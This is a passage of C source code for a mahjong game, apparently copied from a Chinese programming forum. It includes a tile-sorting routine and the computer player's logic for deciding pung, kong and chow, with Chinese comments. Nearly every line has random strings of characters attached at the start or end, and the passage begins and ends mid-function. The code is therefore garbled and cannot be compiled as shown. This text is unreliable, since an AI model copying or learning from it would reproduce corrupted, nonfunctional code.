computer.pp[j+1].number=u;4 E5 W4 Z! d' V; I  g
}) i: j. r6 Z' |) Q, y: I9 U
}
3 N& y+ j5 o+ {+ g}
" @5 p+ o2 r. R/ z0 Ovoid melipai(). F/ a3 v; n! }6 [; m
{ int n,j,u;6 k( }$ I, _2 |2 P
int *lingshi;
( d( M& `& m/ @) Z" d+ }9 N8 Gfor(n=0;n&lt;me.m;n++)
4 s. a  A* B. O% ffor(j=n;j&lt;me.m;j++)" \( _& Y3 K) U) ~0 O
{1 v1 |" L7 T& S$ B$ f
if(me.pp[n].number&gt;me.pp[j+1].number)
" j3 {2 X, i0 |9 ~{6 h( m! V0 z; S6 s" d: F) f
lingshi=me.pp[n].k;
- m, o: X/ ]: Z+ ^7 n' z# S0 Ime.pp[n].k=me.pp[j+1].k;  f+ i! b# t& W: L% G
me.pp[j+1].k=lingshi;
0 h3 H: y3 q% }: Z$ zu=me.pp[n].oneorfour;
4 a7 q+ D+ {5 z; `$ t* C) m9 Cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
$ k# m- I4 d# B8 Sme.pp[j+1].oneorfour=u;
! d6 N* [4 W) M7 t, R  m1 ?* M+ y  ru=me.pp[n].number;
8 c) ^" q% g# a$ ~! M( \. eme.pp[n].number=me.pp[j+1].number;
3 m7 n! K0 @* h, D4 x& rme.pp[j+1].number=u;5 D+ {' t0 W, d0 J( l7 t
}2 P6 w7 |( S* V+ c0 ]% L. g; d
else
2 x. H1 w0 p" S" h- ]if(me.pp[n].number==me.pp[j+1].number)
# F% c9 J& w% Z0 g& Tif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour). `3 y0 U' N! `
{8 Y& ~- `" c: m  \8 ]( _. Y2 {
lingshi=me.pp[n].k;8 h, n9 _' e( p; y' l" Y$ f- v  q
me.pp[n].k=me.pp[j+1].k;+ |- V# Q, r9 W' v* L! w. i8 U
me.pp[j+1].k=lingshi;
/ A0 J  z! _1 R3 d. _8 `u=me.pp[n].oneorfour;
4 |  S  |# E; A! x/ Yme.pp[n].oneorfour=me.pp[j+1].oneorfour;# E/ {4 h  [5 K8 ]0 D$ S5 w
me.pp[j+1].oneorfour=u;
7 w- p# |. ~, I9 J8 iu=me.pp[n].number;
. D) _. C2 P  z( vme.pp[n].number=me.pp[j+1].number;
5 ]* b* w# p1 _6 H4 ~* @' ~- U" @me.pp[j+1].number=u;
9 H& a# X, a3 i3 P9 `. m}& `; O9 S! F# |4 T
}
  R0 n, w+ d2 ]}$ g, Q/ e, e9 e# `0 O
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
7 J" `$ ~; i9 j  J8 Q0 R8 Q{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
* R& s' Z+ g1 o% T7 b* e% r! _9 ^7 r' Wif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
0 l* F& D( b% i! e0 A4 ^{/ |; I, R+ R. k8 G2 ^( ^
logo=1;
, l- s+ K6 W1 J' W+ Q/ m  Aif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0): Y. T3 G' ?/ Z1 t9 ?4 ]
logoo=1;
# L* \& [4 B  m) O9 _else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
8 _  \1 x. I$ F# W8 ^" H, Klogoo=2;8 r9 w& ?& d0 W1 j2 a# j
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
8 Z. l' M0 ?, O- }. }logoo=3;3 c& {8 c0 L4 ?' U0 x4 ]
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12), q0 E) S# n$ ^
logoo=4;) b$ A1 T& J# s8 v! a
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16), z2 [4 M1 s5 Q* Y( \3 S: k( p/ m
logoo=5;6 m7 Y8 z+ N" L. p# f! i
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)# R. @! a3 {2 s5 C
logoo=6;
! n& b3 V( u0 l4 D# m3 _* ?else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)# `6 L* ^+ ^8 T& ]
logoo=7;
# ~' R, C7 B; H1 g) Aelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)/ r# k9 S& t1 r. M
logoo=8;
$ V) v% p. {5 Belse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)' O* d( R& V+ `; L# R9 Y
logoo=9;. H" n" T5 L1 _6 I) H0 v& B0 a, u
}
& N3 C% G2 c3 S4 yelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)2 k) V2 K' p$ J/ \6 Y" v- f
{
: S& Y) b9 c" W9 C! _: k/ j* zlogo=2;
* s& `9 F. R: A; b) @if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)& V1 [+ G8 P, Z! u; J9 n# i
logoo=1;4 |& `4 Z  R  F* \3 }  c2 T3 O5 V
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
. V! i+ U4 S! q5 q9 z' {& Elogoo=2;+ V2 l' }; W* u% |& P' Y) N1 f
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)- U, M, c8 x( J# C' q" H. Y4 V  U
logoo=3;6 @3 k$ a- @$ ?5 l2 Q( b) K
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48), Z. y! e/ ~, I, M
logoo=4;
: o: V1 J5 w; i' v/ U. f+ S$ _  gelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)2 R( b% l: E. c; r3 k: r& j6 w
logoo=5;) w/ v3 ~" v& N" b
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
" b$ _! d  C! R! e3 }, Dlogoo=6;  W6 K' p1 b8 l/ |! e; H
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)# L) @( p; M- K& z# Y2 a: S
logoo=7;! V0 N5 {5 A. f9 k" b' v
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( z3 E" F. y2 w3 Q3 `* Klogoo=8;
9 g7 N) g: L& x- selse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)9 A! b& s& y& {8 K1 }; P8 R0 l
logoo=9;
, @/ [8 k+ w% Z: V}3 E) j2 V7 p; o" j! d
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72), J( n5 _. u9 \5 U& }3 R
{" t* _& _% y7 _/ u% g
logo=3;1 Z0 R# c6 o, Q  x$ @
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
9 C/ e6 c8 {- blogoo=1;1 L* Z. [7 E1 ^$ |$ R. i; f9 ^
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
- @; u+ G9 I& e5 L& ?- nlogoo=2;
3 Y: ^% U0 U' m+ B0 s" Aelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
, N1 c; a( m: ~5 W# f& ]: M" Clogoo=3;  N, M. c2 O9 c1 j% m) n5 g
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)9 e9 e2 g( f6 T/ N
logoo=4;% x. C4 ^8 `$ U$ |& B7 F) g0 N
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)& I2 x3 X9 d" c" W. {6 d
logoo=5;
4 {3 n0 f5 z+ w6 o6 R% P  p* Z" ~9 ]else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)) T8 [) \7 h4 X; k- e: V* g
logoo=6;
  |2 X* u/ R% E0 G$ g/ Oelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)5 r! {' _+ v( j# @) I
logoo=7;, e; W. m9 B6 B$ m7 n
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
7 ?- s% R% i6 B+ Ulogoo=8;0 L7 `. u% g/ y6 M
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
" h; i& ~- b6 q5 X7 [$ \" Llogoo=9;) O; n. ^: Y8 r5 I9 S
}
% q( F1 q$ e* k8 ^% felse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
1 ?8 F, \2 r# ~{5 b2 Y# W* E, ]9 c8 A; c" w; m
logo=4;. }/ F, M* u8 m
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)7 X8 G1 B: N& d; w7 \) m4 G* g: c/ r
logoo=1;. q5 i. E$ T; I5 X( d
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
( j6 A8 ?4 g# u& v1 }5 v8 `7 Hlogoo=2;
$ u+ _; {. K& e0 ^; yelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)1 q" s( `6 h2 D" b# m9 p
logoo=3;0 g% W8 M4 F  O) @1 V
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
9 M6 s$ @  W. q) P( Y1 Zlogoo=4;+ \, ~' _+ M% h( T/ _3 I2 d$ Q
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
( p$ v# G, H; J. m* `4 L$ V1 v' dlogoo=5;: e, l6 E% ~9 n
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
) _( S% B) Y' n9 @4 k1 hlogoo=6;! [8 n$ g) A1 n
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
( M0 T8 K- L" T. Z( `. e" ]1 L. F4 |3 `logoo=7;9 ], C$ p$ D- K0 x! a0 j$ X8 {
}
/ c7 I2 K& N0 [! H9 Gwhile(b&lt;=computer.m)* `- X, [! D9 h- X2 H
{
* |) ?1 T9 b3 Sif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
2 p4 ?1 c0 W! O1 m% ^{' @( ~/ W: E- i* U7 o+ I9 {
lg=1;
5 n* Q* ]# j" [' y/ Ecomputer.pp.d[0]=1;
) M  Y# _8 B4 _. jif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0); k* P5 O& f( W& `4 p- W, s7 K
{
' _2 S7 J$ \& c, a& g, Blgg=1;
  l$ L8 c$ l9 `! ^- jcomputer.pp.d[1]=1;
: u7 ^3 F* _! T8 J% x3 B' V}3 u5 F) J- R2 |
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4): \. Y5 y) O8 E4 F# _" z
{
% u. W" O8 X% M) r# P- L% Blgg=2;: s9 S/ s* B- T) a' \
computer.pp.d[1]=2;: C3 n$ I+ {% c/ u% q
}) O: W3 Z" l# Y
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)) t  f$ p4 a. d; N# G$ y; X2 m6 ~
{
1 A" g6 _2 v. C5 g6 a# Q5 C; xlgg=3;' F  Q2 ~* S+ g1 J! l/ T( x
computer.pp.d[1]=3;
8 t3 [. L4 e( ]# J) p}
/ `2 g2 q0 A2 Ielse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
' Z  g6 |# y- G8 `{8 X6 a1 f. e. e& }( f: }! S. G
lgg=4;, m/ y5 e9 B1 u, M" d& P+ u: R
computer.pp.d[1]=4;
/ @- j( D- J- Y}/ u7 g. y/ S  u* l, D
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
5 A$ |% ^5 |9 u! _{9 ]* `) U6 L3 O* C/ B
lgg=5;
# `% ?1 C$ T) d- }; {. u) ]computer.pp.d[1]=5;
5 W, A/ R* y: r4 Z9 G8 L8 {}$ R8 g2 W* }: ?3 p
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)) t: F* @+ x  D4 P! G
{
/ h7 J5 a. F$ k7 e5 N  y+ ?lgg=6;
  Z' C; k& f3 ~% x. A1 Q% \5 Xcomputer.pp.d[1]=6;
# |+ _5 }9 {% E! s8 e2 }}- k' T# D# j( Y! d( J6 K1 Y
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
- V3 A% w# Z( P1 w; s* R{9 G" Z, p+ O; U% f- p; X' K
lgg=7;
3 W/ Y9 I; O/ [  S/ I4 ]computer.pp.d[1]=7;
( x: {* A- O: a( e; T9 O- a}; d& p# ]% p3 H( z! T
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
- m7 _' x7 h. W7 t5 S7 G5 J: m9 P8 `{! h4 z$ }: E1 ~5 ?7 g
lgg=8;
+ Z) Z8 Z5 V) q( X5 I$ hcomputer.pp.d[1]=8;
9 G9 P9 K# Y# i5 }/ b6 B}
- X5 T+ Y+ z- p% o% w! K( {; P4 telse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
5 C9 @7 A5 p; c! v, o$ {{8 x. ?' `, ?4 ]4 X8 p% L
lgg=9;
7 L& w+ O/ j4 u' O  t, _& H- Ycomputer.pp.d[1]=9;9 h0 h* G- B; a" H* {
}, J' Q) F0 m+ Z
}5 z' d3 L( D+ @. l. h/ t
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)9 `" [4 f$ ~$ m8 D0 u- I* S
{0 Z/ `1 ]0 I5 s' _) s1 W5 {
lg=2;
: R0 w- Y' v2 T5 lcomputer.pp.d[0]=2;
5 {  N, ~+ F4 k* X/ rif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
& Z( C- D* ^3 m" `0 o{0 v- B6 |# @6 k
lgg=1;2 V( J6 T& W/ k* b
computer.pp.d[1]=1;
- c6 y1 m) h; j}
% i$ U, M+ H3 Zelse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)6 S# r4 ~. w# c& R4 x  E
{% [* x+ q$ R! n- @! I
lgg=2;- R  Z/ Y9 z* l0 I5 m4 S) `, h  H/ T
computer.pp.d[1]=2;
: `  G3 z% c: f  C7 K& f. v2 J}
" Q' G2 C  v( X+ y  R* n; {else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
. W! ]- b& p; ]5 a& }, k* q{. x* S6 ?8 v& L3 H* ~% b2 b
lgg=3;! P0 X2 b! F! ^& K. W* X+ {2 z
computer.pp.d[1]=3;
/ d; l3 B; e5 m# f- l  M}6 x/ M! u" z7 E7 a% w" A  _
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
# `* x) v' P8 z5 b! }# H( S{
" `; @; C% A; @2 D2 _% E7 Wlgg=4;% x, A* a( G1 Q, }- Z8 p5 f
computer.pp.d[1]=4;
& @" Q9 ?7 B1 s" o9 f$ j- M}
0 n% A( V) Z" g' u$ p+ gelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)0 @& A0 Z! p) _! X' B) W
{( q( V9 ^$ i  U+ \- u) e. f4 T
lgg=5;8 R6 C# {& o, h3 |' B3 ~! n" A
computer.pp.d[1]=5;
" y# i, }* e- T" T8 h# v4 o}& V8 a9 [5 N% o/ M
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)' q5 r' h- i3 p# Y
{
: P( U# |# t; m# p1 Blgg=6;
8 i+ y/ r# V  o& Bcomputer.pp.d[1]=6;0 u+ b# f* d* h, ^
}6 G; ~& p0 Z0 x" l2 y8 E5 v
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)6 U, S+ y- Z5 P- q
{+ j5 K7 v# ]9 U5 I; R/ x
lgg=7;
4 o- @3 j; B) zcomputer.pp.d[1]=7;7 q7 k! j9 F# {( Q" T( M
}7 K" {- R3 M! B0 i, \0 u; b
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
+ K, _0 M' B4 s{% y) D6 S; r* V$ C1 i6 U2 A8 {
lgg=8;
1 t; s# |' Z! H1 `  p3 ncomputer.pp.d[1]=8;
1 w% V, d( A7 G% F$ Y* g" F}
7 g  E# z3 n8 D+ Uelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
+ t7 `4 s& q  o7 v" H+ L( Y{' L2 f4 T- r) j1 P1 o
lgg=9;
6 x5 F  A( V+ T: f! y& }* J: Ocomputer.pp.d[1]=9;- X+ f# }2 `: O' P
}+ Y$ ^, R6 `$ y& T
}
2 {+ {6 ?0 M1 o3 H0 w) }. q) uelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
8 D9 i+ c( }2 w{, g' g* w- h# U1 P$ u/ x9 @
lg=3;
" }, O6 n# ~! G  l# ~( }2 gcomputer.pp.d[0]=3;
4 W4 w$ P4 D$ O; b1 f+ kif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
1 X6 }- y$ w9 V$ {' Z5 t{, N& H. p# g% X& N
lgg=1;
; y1 x* k" z& [computer.pp.d[1]=1;
6 K5 @& z4 e6 R* x% D. K9 B}
, A9 J4 _2 u& kelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
, T4 S9 l4 p; L2 K{, b" d% g# s# N; P' |( D
lgg=2;
% _' }. i; d0 i. r' Icomputer.pp.d[1]=2;
2 n: y$ c6 W! M" {+ f: S+ O: B, K+ C}
, l  R/ r$ P) _1 J- Nelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)7 C; E+ @9 j5 A1 b
{% k2 h1 `7 W' \% ^: n3 X
lgg=3;+ C7 a( b, \7 V8 h7 K4 A, f
computer.pp.d[1]=3;1 g0 E, N0 ~5 [* e+ t3 j: i' V' L4 j
}
- r3 A$ s( c( o! Gelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)0 x6 a* Z$ s! Z7 S) s+ A+ @
{  a+ X9 g' J3 Z$ k  e
lgg=4;8 N- U* {! W3 B' x$ h
computer.pp.d[1]=4;
, `# g' S' c* b: P& c( t& ?}
2 c3 k. g5 h  T) {else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)7 A* L* e1 x" i! i9 H* h
{) I! L  o; z6 K% b( }
lgg=5;
' D. q; a$ b/ o" B4 jcomputer.pp.d[1]=5;. O# \, s) q" Z' v5 L. ~; X. k
}
6 z0 i1 `& r& V7 W0 aelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
& e1 {- U  u  e2 t( c  l% K{4 \' @* ^- V# e6 h
lgg=6;
7 s# _$ v2 {! ccomputer.pp.d[1]=6;- F5 C4 i( T' Y( o3 i% O
}' B% U8 t5 ^, ?1 @
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
1 [4 z0 P9 t+ C! F& @8 H; O- h# d7 z{
8 W2 U5 a# h( F% Z  Hlgg=7;1 X) I3 H; c  h0 a" |; w! K+ z
computer.pp.d[1]=7;; v* I, R' q6 {
}% B. @. I+ H3 [- r
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)% Q( q) q. r+ f+ M# ]
{
- Y- d- C, ~$ ]" Y( Rlgg=8;5 @, H( c/ [- @+ O2 \4 [( G, Q
computer.pp.d[1]=8;
8 {4 L8 Q& L, O}1 K# @) ^& \4 A' O0 P
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
0 ^1 i8 h/ f- L$ n2 x$ A' I+ p4 t{
7 ^0 Z2 e" }2 `lgg=9;
4 ], ^5 d6 G* h' _! \$ H3 @computer.pp.d[1]=9;
/ {2 J  ]) q* `5 s7 t4 |}
- b, F& A' L0 s9 }}
; Z# @1 f  w' }4 Xelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
% S$ {/ @+ z% j, a{
8 ]; }0 l5 `0 e. U" N/ a, dlg=4;/ g7 H) s& l2 o1 p* U! o5 q
computer.pp.d[0]=4;) i8 w9 [. @8 r8 j  s3 D( g
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
0 U1 J3 d: I  s6 e{( [8 }0 D5 S1 T9 s9 I9 j  k0 {
lgg=1;+ v! G: y1 _! G0 J
computer.pp.d[1]=1;
8 }- c/ M) a* }}
& R- A! j- _$ c: i5 h' K1 helse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
" b7 }! ~% Q  z; z  H{2 T; K) n" j5 j
lgg=2;
" l" _% ~! s3 `; ?6 O* qcomputer.pp.d[1]=2;
9 K  n) P1 `2 r" {& }}
; b; c" h6 e% @else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)+ Z( P( l7 p, c) f. K/ ]* p% A
{
& b# ]" S* N# g9 ]: P( j  n8 Xlgg=3;
2 O1 z+ T; `( ~8 lcomputer.pp.d[1]=3;1 d# }$ M& \; j
}
& h6 |1 O1 q4 r' j  p% ~$ Delse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
3 E8 _; ?" b) A+ O{
( v0 c# S0 Y+ qlgg=4;
) k* h1 z# T0 c% G+ Acomputer.pp.d[1]=4;
# w$ w% ]6 o- E, K  q, }}
3 t# @/ J* _. R( ~; @; gelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
8 e/ j# |! T% b. z7 x7 p. ^  `{
7 t! S: v* r. W( a$ E6 s7 R' Nlgg=5;
9 L: Q" H/ L- P5 @5 Ocomputer.pp.d[1]=5;4 Y& G9 y3 \% Y/ j, E7 b* R
}& C! g* ?( F4 T
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
/ T1 p; j5 {+ ?7 M% o{0 F1 w; `: o# N6 U7 |) r
lgg=6;  _1 l9 L9 ?+ r9 \" h0 [  }/ d
computer.pp.d[1]=6;, f; w( A8 ^9 b. p
}
/ B# f$ l/ p4 j- P8 n! N. j* Ielse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
" l7 p* Y7 _2 H, K4 T& Y  U9 c{
3 y( r7 u/ S0 n1 n7 ^/ O. H5 ?lgg=7;
- s0 K6 O& r& Z+ n+ K6 M+ N9 Fcomputer.pp.d[1]=7;
1 t* A# R6 ?. V* C}* O9 |# [" r' `7 P* H/ ?3 [
}3 h  }, t" T! l. o$ ^

6 r# R$ J5 Y5 V' r# r6 [  rif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
$ I% m9 ?* h" Bif(logoo==lgg)
7 c: N: `+ H$ x- e3 T3 S( Gpg++;
7 c, ^* F  P) T$ `ch.lg=lg; /*保存电脑手里的每张牌的信息*/$ A9 {( F& U5 n+ U
ch.lgg=lgg;
# g0 z! f0 N3 q0 Z% Glg=0;8 A, Q- O/ J& p- J" I4 H
lgg=0;- y% @( d" M' W' ~, |
b++;  e/ |$ I7 g% z! t6 W4 N- {8 x
}6 |5 y% T+ f; r; `
if(pg==2) /*乓*/
  E: `: D! C1 ?1 n, A/ h{  ?6 }; v3 R% g) F7 T8 h

  d# B# \& X( ?sing=1;
; l1 V' A- U2 E/ L5 f: `( jb=computer.m;
# f+ }9 v/ C- M3 xwhile(b!=-1)* @3 T1 x, e( X' I; l: t8 T! O
{
% T4 _+ f8 m+ L8 ~4 v% cif(strcmp(me.pp[c].k,computer.pp.k)==0)
, o. m  P" R: M" ]5 u6 kcomputer.pp.p=1;" Z  m- _, p7 S1 l

  W) a& {) b5 K( k) Gb--;$ ]9 F% [! t0 Q2 P3 F% G2 s
}* {3 d2 k# [; L1 p4 k# L  t' S, _
}
# Q1 T7 x/ w1 d- W$ lif(pg==3) /*杠*/4 ^: Z: |+ y0 ~& F  c9 e5 r( g+ `
{
8 u& G8 L0 H" l: f4 D! N5 D4 ~# @8 T* m1 g
sing=2;
. f$ Q" ]7 T# u% ?- `b=computer.m;
4 E# z' G; c% {/ b" ?$ y# K5 o8 Zwhile(b!=-1)' @! V2 K+ \* ?! g! k9 w
{
+ {3 ]/ t* J* G- u0 F. i2 Pif(strcmp(me.pp[c].k,computer.pp.k)==0)
4 ], ]  ^9 D' w5 m: P, ccomputer.pp.g=1;: c, P* g4 X7 k% m) D: D
b--;
# o5 T$ R5 v  k# D7 O! V}
9 |6 ^# P& l9 l6 p: ]}7 q6 S" z1 N( P4 d1 f7 g
f=0;9 V7 T) S5 d5 W$ u8 S( M9 N
while(f&lt;computer.m) /*吃的判断*/! u* B' V% ]4 k% u; I
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)) o. v6 C2 M0 ?4 g1 Q* A
{. w. M4 E' X7 m' H$ M1 L5 i
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/9 k6 D- Y8 l' k
if(ch[f].lgg-logoo==1)
" i" G1 n; @4 I1 u/ L{7 Z* H! ?' q/ \) Z6 c/ s$ ?! @
gp++;
! m1 O/ y& v5 n4 R3 t+ ]. |, Kcomputer.pp[f].c=1;
* d/ R+ K* h4 q4 O) O" _* E8 ~2 }computer.pp[f+1].c=1;
! \2 \- q$ F* _}
0 F$ A, {0 a) O# y  v. p% Cif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/  X3 F' I; B4 ]) p2 q
if(ch[f+1].lgg-logoo==-1)% [: L! t) t$ B' R$ y
{
' Y! \5 g" d* h  _1 V, r+ zgp++;
1 \( g% K! O, @- ccomputer.pp[f].c=1;& @7 c6 m$ i& E' E
computer.pp[f+1].c=1;
. C1 O: s' k: }6 e3 }}
* }/ {0 d7 U5 Z; J, E2 L5 Cif(ch[f].lgg-logoo==-1) /*中吃*/$ ^/ g. c+ M' I- \3 l; x
if(ch[f+1].lgg-logoo==1)
4 r( M( k# n0 T" F{
% b9 f* X* S# @7 M8 K2 Ggp++;5 P7 ~3 z' ?# F- S2 e
computer.pp[f].c=1;" E! C( A% q+ u9 l
computer.pp[f+1].c=1;5 U! F8 Q" n7 E5 p, T+ e9 I( }5 Q
}) J9 @/ e. ^! l+ S# k
if(gp==1)
& t1 g+ D# ?* g( l8 Ebreak;
( X5 `/ N& p0 a}
: B9 j1 r7 W( L2 Jf++;
# E/ U& W* Q5 r1 R4 h$ c}/ Q! O( z# ]% z0 z1 |& S
if(gp==1)) q8 d4 V6 a4 G. X1 B* n# C' T+ ?
{sing=7;2 N+ x- o- V. U) L4 n
& N0 J( t/ v. A/ E+ l
}
& N6 X! N4 l) f, @$ c6 o9 Xpg=0;
' k% t) u* A& P% N5 `9 b" |; t9 |gp=0;
: h% l7 w- Q. e1 o# fb=0;# v; Y: ]: S1 L! ^0 _
}* x0 z, j' q: Y5 y& O; b
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
# D* N+ P( X3 o7 Q  l{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
% Q" V, O/ z3 A: [! dif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)5 @" F& ]+ t7 i
{
, n8 Z% V% U0 M/ C1 M2 i( @. clogo=1;$ B; c" ?+ ^- [; `7 B9 d$ |
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
% `4 O+ |- \: ^/ d6 dlogoo=1;
% t3 h- n* ]3 H0 |3 z& s: G6 Helse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
# P. j  Y& G* m2 H! S, rlogoo=2;
# R3 D8 B& T: E( J. J5 a8 telse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)( o3 \1 I* B, [& s( Z
logoo=3;+ T8 v+ ^" W. y, b6 j" t% i
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
) P4 I4 l! \; L* A$ w$ Ilogoo=4;9 w. o& V/ S$ u1 q
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)+ ^* i! S& W% {3 t
logoo=5;
- g9 V5 q% p( I! l+ F: Kelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
# X3 |! }& Z, \; P. c& Slogoo=6;; W6 H! p; u& Z3 [! @# ^3 G
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)" Q& o* u7 S( F5 A+ V3 z/ _
logoo=7;
, P2 p# N. P) e. a5 H0 Helse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
& F8 i$ E6 V8 g9 s5 Rlogoo=8;' |9 Y& `: }& n7 t
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)& }/ k' y5 o, |0 [+ h! _
logoo=9;; z+ k) p4 d  ?, W6 y8 p  H
}
0 s9 a8 P) w- D7 J! Qelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
9 J5 g( M5 B) {( \" o5 ^2 A3 r{
9 C# E& k* q( F7 U+ W! \! Nlogo=2;6 G7 @* b7 n8 h; ]) _
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
4 C: b( l$ K$ D3 Clogoo=1;
1 g; h3 z( f. R) K/ Nelse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)  L6 ?; ?9 m, D$ t3 A8 T
logoo=2;0 g) r. l3 {( n
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44); N& G4 P1 L+ S
